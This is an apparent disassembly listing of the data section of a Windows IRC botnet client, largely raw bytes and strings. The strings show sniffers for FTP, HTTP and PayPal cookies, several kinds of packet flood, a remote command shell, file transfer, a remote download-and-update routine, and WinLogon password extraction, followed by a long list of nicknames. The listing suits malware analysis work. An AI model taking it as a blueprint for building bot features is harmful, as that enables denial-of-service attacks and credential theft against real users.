a230		db '230 ',0             ; DATA XREF: sub_413079:loc_4130CAo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413079+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413079+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413100+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413100+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413100+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413100:loc_413140o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413100+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413100+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413187+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413187+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413187+5o
		align 4
unk_437734	db  2Dh	; -		; DATA XREF: sub_4131EC+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: sub_4131EC+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377A4	db  2Dh	; -		; DATA XREF: sub_4131EC+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8	db  2Dh	; -		; DATA XREF: sub_4131EC+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C	db  2Dh	; -		; DATA XREF: sub_4131EC+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840	db  2Dh	; -		; DATA XREF: sub_4131EC+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_437870	db  2Dh	; -		; DATA XREF: sub_4131EC+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4378C4	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413694+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_437AEC	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_4143F7+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_437EDC	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415CC0+35o
dword_437EF0	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
		align 4
dword_437F28	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DD8+20o
dword_437F50	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415F27o
		dd 6574656Ch, 0
dword_437F6C	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00415E8Ao
		dd 676E6974h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437FEC	db  2Dh	; -		; DATA XREF: ___:004162BEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_438010	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00416523o
					; ___:004166B9o
		dd 726F72h
unk_438028	db  2Dh	; -		; DATA XREF: ___:004164BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_438054	db  2Dh	; -		; DATA XREF: ___:004163C3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_438078	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:0041638Co
		dd 74756Fh
dword_438090	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:0041632Bo
		dd 169h
unk_4380A8	db  2Dh	; -		; DATA XREF: ___:004162E8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_4380C8	db  2Dh	; -		; DATA XREF: ___:00416243o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4380EC	db  2Dh	; -		; DATA XREF: ___:00416205o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_438110	db  2Dh	; -		; DATA XREF: ___:00416734o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43813C	db  2Dh	; -		; DATA XREF: ___:0041662Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43815C	db  2Dh	; -		; DATA XREF: ___:0041660Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:004165FAo
unk_43818C	db  2Dh	; -		; DATA XREF: ___:004165E6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4381BC	db  2Dh	; -		; DATA XREF: ___:00416C33o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4381E8	db  2Dh	; -		; DATA XREF: ___:00416C25o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43821C	db  2Dh	; -		; DATA XREF: ___:00416B69o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_438260	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416AF8o
		dd 25206465h, 73h
unk_43827C	db  2Dh	; -		; DATA XREF: ___:00416A81o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_4382B4	db  2Dh	; -		; DATA XREF: ___:00416A02o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_4382DC	db  2Dh	; -		; DATA XREF: ___:00416978o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_438308	db  2Dh	; -		; DATA XREF: ___:00416935o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_438330	db  2Dh	; -		; DATA XREF: ___:00416923o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_438358	db  2Dh	; -		; DATA XREF: ___:00416817o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416D48:loc_416D8Bo
					; sub_419443+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416D48:loc_416D85o
aDisk		db 'Disk',0             ; DATA XREF: sub_416D48:loc_416D7Fo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416D48:loc_416D79o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416D48:loc_416D73o
		align 4
off_4383A8	dd offset word_4D4152	; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC	dw 3Fh			; DATA XREF: sub_416D48+1Fo
					; sub_41AF8F:loc_41B091r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416DD9:loc_416EB7o
					; sub_416EFD+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416DD9+6Co
		align 10h
unk_4383C0	db  2Dh	; -		; DATA XREF: sub_416EFD+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4383FC	db  2Dh	; -		; DATA XREF: sub_416EFD+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_438438	dd offset byte_5C3A41	; DATA XREF: sub_416FCF:loc_417014o
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384A8	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41743Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_4384DC	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41740Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438508	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_417406o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_438540	db  2Dh	; -		; DATA XREF: sub_4172C1+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43859C	dd offset byte_530055	; DATA XREF: sub_4172C1+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004C+1
		dd offset byte_4E0049
		dd 0
off_4385B4	dd offset byte_530055	; DATA XREF: sub_4172C1+CEo
		dd offset byte_520045
		dd offset loc_41004C+2
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4172C1+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
					; sub_4172C1+161o ...
		align 4
unk_438678	db  2Dh	; -		; DATA XREF: sub_4172C1+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417493+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417493+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417493+AFo
		align 4
dword_4386C4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178F9+70o
					; sub_417990+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417990+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_438768	dd offset aQ		; DATA XREF: sub_417E84+5Cr
					; "q"
; ---------------------------------------------------------------------------
		sbb	[ebx-4E77FFBDh], dl
		inc	edx
		add	[eax+1C0042C6h], ah
		mov	byte ptr [edx+0], 14h
		xchg	eax, ebx
		inc	ebx
		add	al, dl
		scasd
		inc	edx
		add	[eax-3Ah], dh
		inc	edx
		add	[edi+ebp*4-4DE7FFBEh], ch
		inc	edx
		add	[eax-3Ah], bh
		inc	edx
		add	[eax], dl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], cl
		inc	ebx
		add	[eax], cl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], al
		inc	ebx
		add	[edi+esi*4+42h], bh
		add	ah, ch
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_439300
; ---------------------------------------------------------------------------
		cld
		xchg	eax, edx
		inc	ebx
		add	al, bh
		xchg	eax, edx
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_4392F4
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4392F0
		dd offset dword_4392EC
		dd offset dword_4392E8
		dd offset dword_4392E4
		dd offset dword_4392E0
		dd offset word_4392DC
		dd offset dword_4392D8
		dd offset aI_0		; "I"
		dd offset dword_4392D4
		dd offset dword_4392D0
		dd offset aA_0		; "A"
		dd offset dword_4392CC
		dd offset dword_4392C8
		dd offset dword_4392C4
		dd offset dword_4392C0
		dd offset dword_4392BC
		dd offset dword_4392B8
		dd offset dword_4392B4
		dd offset dword_4392B0
		dd offset dword_4392AC
		dd offset dword_4392A8
		dd offset dword_4392A4
		dd offset dword_4392A0
		dd offset dword_43929C
		dd offset word_439298
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439030
		dd offset off_43902C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438E98
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
